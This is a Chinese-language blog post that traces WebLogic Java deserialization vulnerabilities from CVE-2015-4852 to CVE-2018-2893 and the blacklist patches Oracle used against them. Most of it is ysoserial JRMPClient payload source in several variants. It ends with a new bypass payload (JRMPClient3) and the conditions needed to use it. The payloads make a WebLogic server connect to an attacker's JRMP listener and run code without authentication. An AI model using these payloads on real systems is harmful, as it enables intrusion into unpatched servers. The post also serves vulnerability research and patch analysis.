0x00 weblogic 简介
WebLogic 是美国 Oracle 公司出品的一个 application server, 确切的说是一个基于 JAVAEE 架构的中间件, WebLogic 是用于开发, 集成, 部署和管理大型分布式 Web 应用, 网络应用和数据库应用的 Java 应用服务器.
Weblogic 直接反序列化漏洞回顾
1. CVE-2015-4852
利用 Java 反序列化和 Apache Commons Collections 这一基础类库来 ×××, 实现远程代码执行.
查看 CVE-2015-4852 的补丁, 发现 weblogic 采用黑名单的形式来修复这个漏洞, 这中修复方案很被动, 存在被绕过风险, 只要发现可用并且未在黑名单之外的反序列化类, 便可造成新的反序列化 ×××.
2. CVE-2016-0638
weblogic 反序列化的点有三个, 黑名单 ClassFilter.class 也作用于这三个位置:
- weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream
- weblogic.rjvm.MsgAbbrevInputStream.class
- weblogic.iiop.Utils.class
使用 weblogic.jms.common.StreamMessageImpl 的 readExternal()绕过
3. CVE-2016-3510
原理是将反序列化的对象封装进了 weblogic.corba.utils.MarshalledObject, 然后再对 MarshalledObject 进行序列化, 生成 payload 字节码. 反序列化时 MarshalledObject 不在 WebLogic 黑名单里, 可正常反序列化, 在反序列化时 MarshalledObject 对象调用 readObject 时对 MarshalledObject 封装的序列化对象再次反序列化, 这样就逃过了黑名单的检查.
0x02 Weblogic JRMP 反序列化漏洞回顾
JRMP 协议: Java 远程消息交换协议 JRMP 即 Java Remote MessagingProtocol , 是特定于 Java 技术的, 用于查找和引用远程对象的协议. 这是运行在 Java 远程方法调用 RMI 之下, TCP/IP 之上的线路层协议.
RMI: 是 Remote Method Invocation 的简称, 是 J2SE 的一部分,
能够让程序员开发出基于 Java 的分布式应用. 一个 RMI 对象是一个远程 Java 对象,
可以从另一个 Java 虚拟机上 (甚至跨过网络) 调用它的方法,
可以像调用本地 Java 对象的方法一样调用远程对象的方法,
使分布在不同的 JVM 中的对象的外表和行为都像本地对象一样.
1. CVE-2017-3248
这个漏洞就是利用 RMI 机制的缺陷, 通过 JRMP 协议达到执行任意反序列化 payload 的目的. 使用 ysoserial 的 JRMPLister, 这将会序列化一个 RemoteObjectInvocationHandler, 该 RemoteObjectInvocationHandler 使用 UnicastRef 建立到远端的 TCP 连接获取 RMI registry. 此连接使用 JRMP 协议, 因此客户端将反序列化服务器响应的任何内容, 从而实现未经身份验证的远程代码执行.
JRMPLister 代码:
- package ysoserial.payloads;
- import java.lang.reflect.Proxy;
- import java.rmi.registry.Registry;
- import java.rmi.server.ObjID;
- import java.rmi.server.RemoteObjectInvocationHandler;
- import java.util.Random;
- import sun.rmi.server.UnicastRef;
- import sun.rmi.transport.LiveRef;
- import sun.rmi.transport.tcp.TCPEndpoint;
- import ysoserial.payloads.annotation.Authors;
- import ysoserial.payloads.annotation.PayloadTest;
- import ysoserial.payloads.util.PayloadRunner;
- /**
- *
- *
- * UnicastRef.newCall(RemoteObject, Operation[], int, long)
- * DGCImpl_Stub.dirty(ObjID[], long, Lease)
- * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
- * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Thread.start()
- * DGCClient$EndpointEntry.<init>(Endpoint)
- * DGCClient$EndpointEntry.lookup(Endpoint)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Requires:
- * - JavaSE
- *
- * Argument:
- * - host:port to connect to, host only chooses random port (DOS if repeated many times)
- *
- * Yields:
- * * an established JRMP connection to the endpoint (if reachable)
- * * a connected RMI Registry proxy
- * * one system thread per endpoint (DOS)
- *
- * @author mbechler
- */
- @SuppressWarnings ( {
- "restriction"
- } )
- @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
- @Authors({ Authors.MBECHLER })
- public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
- public Registry getObject ( final String command ) throws Exception {
- String host;
- int port;
- int sep = command.indexOf(':');
- if ( sep <0 ) {
- port = new Random().nextInt(65535);
- host = command;
- }
- else {
- host = command.substring(0, sep);
- port = Integer.valueOf(command.substring(sep + 1));
- }
- ObjID id = new ObjID(new Random().nextInt()); // RMI registry
- TCPEndpoint te = new TCPEndpoint(host, port);
- UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
- RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
- Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
- Registry.class
- }, obj);
- return proxy;
- }
- public static void main ( final String[] args ) throws Exception {
- Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
- PayloadRunner.run(JRMPClient.class, args);
- }
- }
修复方式只是在 resolveProxyClass 进行一个简单的判断, 拦截 java.rmi.registry.Registry 接口. 所以很快就有了下一个绕过.
2. CVE-2018-2628
网上公开的绕 CVE-2017-3248 有这几种方法:
第一种:
修改 ysoerial 的 JRMPClient, 精简了原来的 payload, 直接就是一个 sun.rmi.server.UnicastRef 对象. 因为 Proxy 在这里并不是必需的, 所以去掉之后对反序列化利用没有影响. payload 中没有了 proxy,weblogic 反序列化的时候, resolveProxyClass 根本就没有被调用到, 所以就 bypass 了 CVE-2017-3248 的 patch.
- package ysoserial.payloads;
- import java.lang.reflect.Proxy;
- import java.rmi.registry.Registry;
- import java.rmi.server.ObjID;
- import java.rmi.server.RemoteObjectInvocationHandler;
- import java.util.Random;
- import sun.rmi.server.UnicastRef;
- import sun.rmi.transport.LiveRef;
- import sun.rmi.transport.tcp.TCPEndpoint;
- import ysoserial.payloads.annotation.Authors;
- import ysoserial.payloads.annotation.PayloadTest;
- import ysoserial.payloads.util.PayloadRunner;
- /**
- *
- *
- * UnicastRef.newCall(RemoteObject, Operation[], int, long)
- * DGCImpl_Stub.dirty(ObjID[], long, Lease)
- * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
- * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Thread.start()
- * DGCClient$EndpointEntry.<init>(Endpoint)
- * DGCClient$EndpointEntry.lookup(Endpoint)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Requires:
- * - JavaSE
- *
- * Argument:
- * - host:port to connect to, host only chooses random port (DOS if repeated many times)
- *
- * Yields:
- * * an established JRMP connection to the endpoint (if reachable)
- * * a connected RMI Registry proxy
- * * one system thread per endpoint (DOS)
- *
- * @author mbechler
- */
- @SuppressWarnings ( {
- "restriction"
- } )
- @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
- @Authors({ Authors.MBECHLER })
- public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
- public Registry getObject ( final String command ) throws Exception {
- String host;
- int port;
- int sep = command.indexOf(':');
- if ( sep <0 ) {
- port = new Random().nextInt(65535);
- host = command;
- }
- else {
- host = command.substring(0, sep);
- port = Integer.valueOf(command.substring(sep + 1));
- }
- ObjID id = new ObjID(new Random().nextInt()); // RMI registry
- TCPEndpoint te = new TCPEndpoint(host, port);
- UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
- return ref;
- }
- public static void main ( final String[] args ) throws Exception {
- Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
- PayloadRunner.run(JRMPClient.class, args);
- }
- }
第二种: 替换接口
绕过是用 java.rmi.activation.Activator 替换 java.rmi.registry.Registry, 从而绕过 resolveProxyClass 的判断. 其实这里对接口没有要求, 不一定是 rmi 接口, 随便找一个接口都行, 比如 java.util.Map
- package ysoserial.payloads;
- import java.lang.reflect.Proxy;
- import java.rmi.activation.Activator;
- import java.rmi.server.ObjID;
- import java.rmi.server.RemoteObjectInvocationHandler;
- import java.util.Random;
- import sun.rmi.server.UnicastRef;
- import sun.rmi.transport.LiveRef;
- import sun.rmi.transport.tcp.TCPEndpoint;
- import ysoserial.payloads.annotation.Authors;
- import ysoserial.payloads.annotation.PayloadTest;
- import ysoserial.payloads.util.PayloadRunner;
- /**
- *
- *
- * UnicastRef.newCall(RemoteObject, Operation[], int, long)
- * DGCImpl_Stub.dirty(ObjID[], long, Lease)
- * DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
- * DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Thread.start()
- * DGCClient$EndpointEntry.<init>(Endpoint)
- * DGCClient$EndpointEntry.lookup(Endpoint)
- * DGCClient.registerRefs(Endpoint, List<LiveRef>)
- * LiveRef.read(ObjectInput, boolean)
- * UnicastRef.readExternal(ObjectInput)
- *
- * Requires:
- * - JavaSE
- *
- * Argument:
- * - host:port to connect to, host only chooses random port (DOS if repeated many times)
- *
- * Yields:
- * * an established JRMP connection to the endpoint (if reachable)
- * * a connected RMI Registry proxy
- * * one system thread per endpoint (DOS)
- *
- * @author mbechler
- */
- @SuppressWarnings ( {
- "restriction"
- } )
- @PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
- @Authors({ Authors.MBECHLER })
- public class JRMPClient extends PayloadRunner implements ObjectPayload<Activator> {
- public Activator getObject ( final String command ) throws Exception {
- String host;
- int port;
- int sep = command.indexOf(':');
- if ( sep <0 ) {
- port = new Random().nextInt(65535);
- host = command;
- }
- else {
- host = command.substring(0, sep);
- port = Integer.valueOf(command.substring(sep + 1));
- }
- ObjID id = new ObjID(new Random().nextInt()); // RMI registry
- TCPEndpoint te = new TCPEndpoint(host, port);
- UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
- RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
- Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
- Activator.class
- }, obj);
- return proxy;
- }
- public static void main ( final String[] args ) throws Exception {
- Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
- PayloadRunner.run(JRMPClient.class, args);
- }
- }
第三种: weblogic.jms.common.StreamMessageImpl
StreamMessageImpl 这个点在反序列化的时候没有 resolveProxyClass 检查, 从而绕过.
Oracle 在 2018 年 4 月发布的补丁中修复方式是将 sun.rmi.server.UnicastRef 加入了黑名单中, weblogic.utils.io.oif.WebLogicFilterConfig.class:
- private static final String[] DEFAULT_LIMITS = { "maxdepth=100" };
- private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist" };
- private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "sun.rmi.server.UnicastRef" };
这个修复方式只对提交的 bypass(Payload 1)有效, 而 Payload 2 和 3 依然可以使用. 分析了一下后两个 payload 依然可以使用的原因: 主要是 sun.rmi.server.UnicastRef 经过了 java.rmi.server.RemoteObjectInvocationHandler 的封装, 在序列化生成 payload 时, 修改了 UnicastRef 对象写入流程.
3. CVE-2018-2893
针对前面漏洞没有修复彻底的问题, 在今年 7 月份的补丁中进行了如下修复:
- private static final String[] DEFAULT_BLACKLIST_PACKAGES = { "org.apache.commons.collections.functors", "com.sun.org.apache.xalan.internal.xsltc.trax", "javassist", "java.rmi.activation", "sun.rmi.server" };
- private static final String[] DEFAULT_BLACKLIST_CLASSES = { "org.codehaus.groovy.runtime.ConvertedClosure", "org.codehaus.groovy.runtime.ConversionHandler", "org.codehaus.groovy.runtime.MethodClosure", "org.springframework.transaction.support.AbstractPlatformTransactionManager", "java.rmi.server.UnicastRemoteObject", "java.rmi.server.RemoteObjectInvocationHandler" };
黑名单进行了更新:
- java.rmi.activation.*
- sun.rmi.server.*
- java.rmi.server.RemoteObjectInvocationHandler
- java.rmi.server.UnicastRemoteObject
0x03 绕过 CVE-2018-2893
CVE-2018-2893 还是可以继续绕的, 根据前面的分析可知, 我们只需要找一个类似 java.rmi.server.RemoteObjectInvocationHandler 的类进行替换, 就能继续绕过了. 那么这个类应该满足以下条件:
继承远程类: java.rmi.server.RemoteObject 不在黑名单里边(java.rmi.activation. ,sun.rmi.server.)
随便找了一下, 符合条件的挺多的:
- javax.management.remote.rmi.RMIConnectionImpl_Stub
- com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
- javax.management.remote.rmi.RMIServerImpl_Stub
- sun.rmi.registry.RegistryImpl_Stub
- sun.rmi.transport.DGCImpl_Stub
RMIConnectionImpl_Stub 继承至 --> java.rmi.server.RemoteStub 继承至 -->java.rmi.server.RemoteObject
稍微改一下 payload 便能继续利用了:
- package ysoserial.payloads;
- import java.rmi.server.ObjID;
- import java.util.Random;
- import sun.rmi.server.UnicastRef;
- import sun.rmi.transport.LiveRef;
- import sun.rmi.transport.tcp.TCPEndpoint;
- import ysoserial.payloads.util.PayloadRunner;
- import javax.management.remote.rmi.RMIConnectionImpl_Stub;
- @SuppressWarnings ( {
- "restriction"
- } )
- public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Object> {
- public Object getObject ( final String command ) throws Exception {
- String host;
- int port;
- int sep = command.indexOf(':');
- if ( sep < 0 ) {
- port = new Random().nextInt(65535);
- host = command;
- }
- else {
- host = command.substring(0, sep);
- port = Integer.valueOf(command.substring(sep + 1));
- }
- ObjID id = new ObjID(new Random().nextInt()); // RMI registry
- TCPEndpoint te = new TCPEndpoint(host, port);
- UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
- RMIConnectionImpl_Stub stub = new RMIConnectionImpl_Stub(ref);
- return stub;
- }
- public static void main ( final String[] args ) throws Exception {
- Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
- PayloadRunner.run(JRMPClient3.class, args);
- }
- }
0x04 利用条件
RMIConnectionImpl_Stub 替换 RemoteObjectInvocationHandler 之后, payload 又能用了.
后续利用需要配合 Jdk7u21 来执行命令:
1, 服务器没有禁用 T3,T3S 协议.
2,weblogic 服务器需能访问到外网, 才能发起 JRMP 请求.
3, 服务器使用低版本 jdk.
来源: http://blog.51cto.com/13770310/2157226